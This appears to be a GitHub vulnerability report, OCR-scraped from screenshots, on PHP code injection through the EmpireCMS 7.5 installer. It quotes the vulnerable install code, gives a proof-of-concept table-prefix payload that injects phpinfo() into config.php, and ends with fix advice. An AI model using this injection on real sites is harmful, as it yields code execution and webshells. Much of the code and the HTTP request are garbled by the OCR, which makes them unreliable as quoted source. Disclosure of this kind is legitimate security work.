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Code Injection EmpireCMS_7.5 #4



New issue

⊙ Open po1ng opened this issue on Apr 21, 2020 · 0 comments

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polng commented on Apr 21, 2020
Brief of this vulnerability
EmpireCMS_7.5, when installing cms you can write PHP code to config file and execute arbitrary PHP code.
Test Environment

    Windows10

• PHP 5.6.27+Apache/2.4.18
Affect version
EmpireCMS 7.5
Vulnerable Code

    e/install/index.php

   Table prefix of database with phome_
• e/install/index.php
   if($enews=="setdb"&&$ok)
             SetDb($ POST);
• data/fun.php
   function SetDb($add){
             if(!$add['mydbver']||!$add['mydbhost']||!$add['mydbname']||!$add['mydbtbpre']||!$add['mycookievarpre']||!$add['myadmincookievarpre'])
                       InstallShowMsg('带*项不能为空');
             //链接数据库
             $dbver=InstallConnectDb($add['mydbver'],$add['mydbhost'],$add['mydbport'],$add['mydbusername'],$add['mydbpassword'],$add['mydbname'],$add['mysetchar'],$add['mydbchar']);
             if($add['mydbver']=='auto')
                       $add['mydbver']=$dbver;
             ,
//初使化网站信息
             $siteurl=ReturnEcmsSiteUrl();
$add['keyrnd']=ins_make_password(32);
             $add['downpass']=ins_make_password(20);
$add['hkeyrnd']=ins_make_password(36);
             $add['ctimernd']=ins_make_password(42);
$add['autodopostpass']=ins_make_password(60);
             //配置文件
             RepEcmsConfig($add,$siteurl);
             //执行SQL语句
             DoRunQuery(ReturnInstallSql(0),$add['mydbchar'],$add['mydbtbpre'],$add['mydbver']);
   Ondopuery_common("update ".$add['mydothpre']."enewspublic set

newsurl='$siteurl',fileurl='".$siteurl."d/file/',softversion='$version',keyrnd='$add[keyrnd]',downpass='$add[downpass]',hkeyrnd='$add[hkeyrnd]' limit 1",$GLOBALS['link']);

do_dopuery_common("update ".$add['mydothpre']."enewspublicadd set ctimernd='$add[ctimernd]',autodopostpass='$add[autodopostpass]' limit 1",$GLOBALS['link']);

do_dopuery_common("update ".$add['mydothpre']."enewspl_set set plurl='".$siteurl."e/pl/' limit 1",$GLOBALS['link']);

do_dopuery_common("update ".$add['mydothpre']."enewshoppayfs set payurl='".$siteurl."e/payapi/ShopPay.php?paytype=alipay' where payid=3",$GLOBALS['link']);
             do_dbclose($GlOBALS['link']);
echo"配置数据库完毕,正进入系统模型数据导入......<script>self.location.href='index.php?enews=moddata&f=4&ok=1&defaultdata=$add[defaultdata]';</script>";
function SetDb will parse $ POST to $add and then update the config file by call RepEcmsConfig($add,$siteur1);
   //处理配置文件
   function RepEcmsConfig($add,$siteurl){
             global $headerchar:
              //初使化配置文件
             $fp=@fopen("data/config.php","r");
             if(!$fp)
                       InstallShowMsg('请检查 /e/install/data/config.php 文件是否存在!');
             $data=@fread($fp,filesize("data/config.php"));
             $data=str_replace('<!--dbtype.phome.net-->',$add['mydbtype'],$data);
$data=str_replace('<!--dbver.phome.net-->',$add['mydbver'],$data);
$data=str_replace('<!--host.phome.net-->',$add['mydbnost'],$data);
             $data=str_replace('<!--port.phome.net-->',$add['mydbport'],$data);
             $data=str_replace('<!--username.phome.net-->',$add['mydbusername'],$data);
$data=str_replace('<!--password.phome.net-->',$add['mydbpassword'],$data);
```

```
$data=str_replace('<!--name.phome.net-->',$add['mydbname'],$data);
                           $data=str_replace('<!--char.phome.net-->',$add('mysetchar'),$data);
$data=str_replace('<!--dbchar.phome.net-->',$add['mydbchar'],$data);
$data=str_replace('<!--tbpre.phome.net-->',$add['mydbtbpre'],$data);
                            $data=str_replace('<!--cookiepre.phome.net-->',$add['mycookievarpre'],$data);
$data=str_replace('<!--admincookiepre.phome.net-->',$add['myadmincookievarpre'],$data);
                           Sdata=str_replace('<!--headerchar.phome.net-->', sheaderchar, sdata);
$data=str_replace('<!--cookiernd.phome.net-->', ins_make_password(36), $data);
$data=str_replace('<!--qcookiernd.phome.net-->', ins_make_password(35), $data);
$data=str_replace('<!--qcookierndth.ophome.net-->', ins_make_password(34), $data);
$data=str_replace('<!--qcookierndthree.phome.net-->', ins_make_password(34), $data);
                           $data=str_replace('<!--qcookierndfour.phome.net-->',ins_make_password(32),$data);
$data=str_replace('<!--qcookierndfive.phome.net-->',ins_make_password(31),$data);
                           $data=str_replace('<!--ecms.newsurl-->',$siteurl.$data);
$data=str_replace('<!--ecms.fileurl-->',$siteurl."d/file/",$data);
$data=str_replace('<!--ecms.plurl-->',$siteurl."e/pl/",$data);
                           Sudatastr_replace(<1--ecms.dpunpas-r),$sat(evnpas-r),$data);
$datastr_replace(<1--ecms.downpas-r),$dat(a);
$datastr_replace(<1--ecms.dwpas-r),$dat(hkeynnd-r),$data);
$datastr_replace(<1--ecms.ctimernd--r),$ad('timernd'),$data);
$datastr_replace(<1--ecms.autodopostpas-r-r),$ad('autodopostpas-r),$data);</pre>
                            $data=str_replace('<!--ecms.keyrnd-->',$add['keyrnd'],$data);
//写入配置文件
                            $fp1=@fopen("../config/config.php","w");
if(!$fp1)
                                               InstallShowMsg('/e/config/config.php 文件权限没有设为0777, 配置数据库不成功');
                            @fputs($fp1,$data);
                            @fclose($fp1);
   $data=str_replace('<!--tbpre.phome.net-->',$add['mydbtbpre'],$data); will parse mydbtbpre into $data then write $data into ../config/config.php
  Vulnerability display
  When install cms, set <code>mydbtbpre=phome_';phpinfo();//</code>
POST /emp/spload/e/install/index.php?enews=aetdb&ok=lff=5 HTTP/l.1
Hoat: 192.168.31.206
User-Agent: Korilla/5.0 (Macintosh; Intel Mac OS x 10.12; rv:75.0)
Jacko/2100101 Firefox/75.0
  Geomo/20100101 Firefox/75.0
Accept:
text/html, application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
White the state of the state of
 mydbtyp=myaqlEmydbver=5.0Emydbhost=localhostEmydbportstmydbuawnanaaroob,
Emydbpasword=rootEmydbname=empirecmaEmydbtbpra{phome $2783Ephpinfo%28%28
$38%2F8ZFEMyoodblevarpre=pwogginyadmincookievarpre=5jfzUtoFtaTteTata=TEMy
Johna=utf8Emyaethar=tf8
   Trigger vulnerability
   phpinfo()
    (←) → ℃ む
                                                             II\ 14 ① 5 ② ☑ ⊕ € Ξ
      □ 移动设备上的书签
                                                                                    PHP Version 5.6.27
                                                                                                                                                                                                                                                                                                                                                      php
                                                                                                                                                                                       Windows NT DESKTOP-ATRDK9O 10.0 build 17763 (Windows 10) i586
                                                                                   System
                                                                                     Build Date
                                                                                                                                                                                       Oct 14 2016 10:15:39
                                                                                    Compiler
                                                                                                                                                                                       MSVC11 (Visual C++ 2012)
                                                                                     Architectu
                                                                                                                                                                                       x86
                                                                                     Configure Co
                                                                                                                                                                                       cscript /nologo configure js "-enable-snapshot-build" "-enable-debug-pack" "-disable-zts" "-disable-isapi" "--
disable-nsapi" "--without-mssql" "-without-pd-web" "-with-pdo-ocie-c'ph-safkoracle
wide/instanticini. Tz. [*rdd,shared" -with-ociel [*zec-chp-safkoracle*de/softsanticine]. Tz. [*rdd,shared" -with-
enchant-shared" "-enable-object-out-dire. Job/#"-enable-com-dothet-shared" "-with-mcrypt-static" "-without-
analyzer" "-with-shared".
                                                                                    Server API
                                                                                                                                                                                       CGI/FastCGI
                                                                                    Virtual Directory Support
                                                                                                                                                                                       disabled
                                                                                    Configuration File (php.ini) Path
                                                                                    Loaded Configuration File
                                                                                                                                                                                       E:\phpstudv\PHPTutorial\php\php-5.6.27-nts\php.ini
                                                                                     Scan this dir for additional .ini files
                                                                                                                                                                                       (none)
                                                                                     Additional .ini files parsed
                                                                                    PHP API
                                                                                                                                                                                       20131106
                                                                                    Zend Extension
                                                                                                                                                                                       220131226
                                                                                    Zend Extension Build
                                                                                                                                                                                       API220131226,NTS,VC11
                                                                                    PHP Extension Build
                                                                                                                                                                                       API20131226,NTS,VC11
                                                                                    Debug Build
                                                                                     Thread Safety
                                                                                                                                                                                       disabled
                                                                                    Zend Signal Handling
                                                                                                                                                                                       disabled
                                                                                    Zend Memory Manage
                                                                                                                                                                                       enabled
                                                                                     Zend Multibyte Support
                                                                                                                                                                                       provided by mbstring
                                                                                    IPv6 Support
                                                                                                                                                                                       enabled
                                                                                    DTrace Suppor
                                                                                                                                                                                       disabled
                                                                                     Registered PHP Streams
                                                                                                                                                                                       php, file, glob, data, http, ftp, zip, compress.zlib, compress.bzip2, phar
 Vulnerability description && Fix suggestion
  The attacker can write malicious PHP code to the config file through install file and execute to obtain webshell.
  Add PHP character filter in install file. And restrict file execution permissions and directories.
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Assignee

No one assigned

None yet	
Projects None yet	
Milestone No milestone	
Development No branches or pull requests	

1 participant

